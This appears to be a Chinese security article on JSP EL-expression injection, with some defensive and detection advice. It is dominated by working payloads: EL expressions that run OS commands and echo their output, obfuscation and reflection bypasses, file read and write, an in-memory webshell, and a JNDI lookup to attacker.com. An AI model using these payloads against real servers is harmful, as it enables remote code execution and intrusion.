普通EL表达式命令回显的简单研究
字数 1346 2025-08-09 13:33:54

EL表达式命令回显研究

EL表达式基础

EL(Expression Language)表达式是JSP 2.0引入的一种简化页面代码的表达式语言,主要用于访问存储在JavaBean中的数据、执行基本运算和调用方法。

基本语法

${expression}

基本运算

EL支持多种基本运算:

  • 算术运算:+, -, *, /(或div), %(或mod)
  • 逻辑运算:&&(或and), ||(或or), !(或not)
  • 关系运算:==(或eq), !=(或ne), <(或lt), >(或gt), <=(或le), >=(或ge)
  • 条件运算:A ? B : C
  • 空值检查:empty

隐式对象

EL提供11个隐式对象:

  1. pageContext - PageContext实例
  2. pageScope - 页面作用域属性
  3. requestScope - 请求作用域属性
  4. sessionScope - 会话作用域属性
  5. applicationScope - 应用作用域属性
  6. param - 请求参数
  7. paramValues - 请求参数(多值)
  8. header - HTTP请求头
  9. headerValues - HTTP请求头(多值)
  10. cookie - Cookie值
  11. initParam - 上下文初始化参数

EL表达式命令回显技术

基本命令执行

EL表达式可以通过以下方式执行命令:

${Runtime.getRuntime().exec("command")}

回显技术

1. 直接输出

${"output:"+(Runtime.getRuntime().exec("whoami").getInputStream())}

问题:这种方式只能输出对象引用,无法获取实际内容。

2. 使用Scanner类

${"output:"+(new java.util.Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).next())}

3. 使用BufferedReader类

${"output:"+(new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine())}

4. 使用ProcessBuilder

${"output:"+(new BufferedReader(new InputStreamReader(new ProcessBuilder("whoami").start().getInputStream())).readLine())}

5. 多行输出处理

<%
    Process p = Runtime.getRuntime().exec("cmd /c dir");
    java.io.InputStream is = p.getInputStream();
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
    String line;
    while ((line = reader.readLine()) != null) {
        out.println(line+"<br>");
    }
%>

绕过技术

1. 字符串拼接

${''.getClass().forName('jav'+'a.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('jav'+'a.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}

2. 反射调用

${request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")}

3. 使用ScriptEngineManager

${request.getClass().getClassLoader().loadClass("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')")}

防御措施

  1. 禁用EL表达式执行

    <%@ page isELIgnored="true" %>
    
  2. 配置web.xml

    <jsp-config>
        <jsp-property-group>
            <url-pattern>*.jsp</url-pattern>
            <el-ignored>true</el-ignored>
        </jsp-property-group>
    </jsp-config>
    
  3. 使用安全框架

    • 部署WAF(Web应用防火墙)
    • 使用Spring Security等安全框架
  4. 输入验证

    • 对所有用户输入进行严格验证
    • 过滤特殊字符和关键字
  5. 最小权限原则

    • 应用服务器使用低权限账户运行
    • 限制文件系统访问权限

实际案例分析

案例1:简单命令执行

${Runtime.getRuntime().exec("ping -n 3 127.0.0.1")}

案例2:带参数命令执行

${Runtime.getRuntime().exec(new String[]{"cmd","/c","echo hello"})}

案例3:文件读取

${Files.readAllLines(Paths.get("C:/test.txt"))}

案例4:文件写入

${Files.write(Paths.get("C:/test.txt"), "test".getBytes())}

高级利用技术

1. 内存马注入

通过EL表达式注入内存马:

${pageContext.request.getSession().setAttribute("malicious", new javax.script.ScriptEngineManager().getEngineByName("js").eval("function execute(cmd){return java.lang.Runtime.getRuntime().exec(cmd).getInputStream()}"))}

2. 反序列化利用

${''.getClass().forName('java.io.ObjectInputStream').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.util.Base64').getMethod('getDecoder').invoke(null).decode('BASE64_PAYLOAD')).readObject()}

3. JNDI注入

${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://attacker.com/Exploit')}

检测与审计

  1. 日志分析

    • 监控异常EL表达式执行
    • 检查可疑的JSP文件修改
  2. 静态代码分析

    • 使用FindBugs、Fortify等工具扫描代码
    • 检查不受信任的EL表达式输入
  3. 动态分析

    • 使用RASP(Runtime Application Self-Protection)技术
    • 部署沙箱环境测试可疑行为

总结

EL表达式命令回显技术展示了JSP应用中潜在的安全风险。开发人员需要了解这些技术,以便更好地防御潜在的攻击。关键点包括:

  1. EL表达式功能强大,但可能被滥用
  2. 多种方式可以实现命令执行和回显
  3. 存在多种绕过技术
  4. 防御需要多层次的安全措施
  5. 定期审计和监控是必要的

通过全面了解这些技术,可以更好地保护Web应用免受EL表达式注入攻击。

EL表达式命令回显研究 EL表达式基础 EL(Expression Language)表达式是JSP 2.0引入的一种简化页面代码的表达式语言,主要用于访问存储在JavaBean中的数据、执行基本运算和调用方法。 基本语法 基本运算 EL支持多种基本运算: 算术运算: + , - , * , / (或 div ), % (或 mod ) 逻辑运算: && (或 and ), || (或 or ), ! (或 not ) 关系运算: == (或 eq ), != (或 ne ), < (或 lt ), > (或 gt ), <= (或 le ), >= (或 ge ) 条件运算: A ? B : C 空值检查: empty 隐式对象 EL提供11个隐式对象: pageContext - PageContext实例 pageScope - 页面作用域属性 requestScope - 请求作用域属性 sessionScope - 会话作用域属性 applicationScope - 应用作用域属性 param - 请求参数 paramValues - 请求参数(多值) header - HTTP请求头 headerValues - HTTP请求头(多值) cookie - Cookie值 initParam - 上下文初始化参数 EL表达式命令回显技术 基本命令执行 EL表达式可以通过以下方式执行命令: 回显技术 1. 直接输出 问题:这种方式只能输出对象引用,无法获取实际内容。 2. 使用Scanner类 3. 使用BufferedReader类 4. 使用ProcessBuilder 5. 多行输出处理 绕过技术 1. 字符串拼接 2. 反射调用 3. 使用ScriptEngineManager 防御措施 禁用EL表达式执行 : 配置web.xml : 使用安全框架 : 部署WAF(Web应用防火墙) 使用Spring Security等安全框架 输入验证 : 对所有用户输入进行严格验证 过滤特殊字符和关键字 最小权限原则 : 应用服务器使用低权限账户运行 限制文件系统访问权限 实际案例分析 案例1:简单命令执行 案例2:带参数命令执行 案例3:文件读取 案例4:文件写入 高级利用技术 1. 内存马注入 通过EL表达式注入内存马: 2. 反序列化利用 3. JNDI注入 检测与审计 日志分析 : 监控异常EL表达式执行 检查可疑的JSP文件修改 静态代码分析 : 使用FindBugs、Fortify等工具扫描代码 检查不受信任的EL表达式输入 动态分析 : 使用RASP(Runtime Application Self-Protection)技术 部署沙箱环境测试可疑行为 总结 EL表达式命令回显技术展示了JSP应用中潜在的安全风险。开发人员需要了解这些技术,以便更好地防御潜在的攻击。关键点包括: EL表达式功能强大,但可能被滥用 多种方式可以实现命令执行和回显 存在多种绕过技术 防御需要多层次的安全措施 定期审计和监控是必要的 通过全面了解这些技术,可以更好地保护Web应用免受EL表达式注入攻击。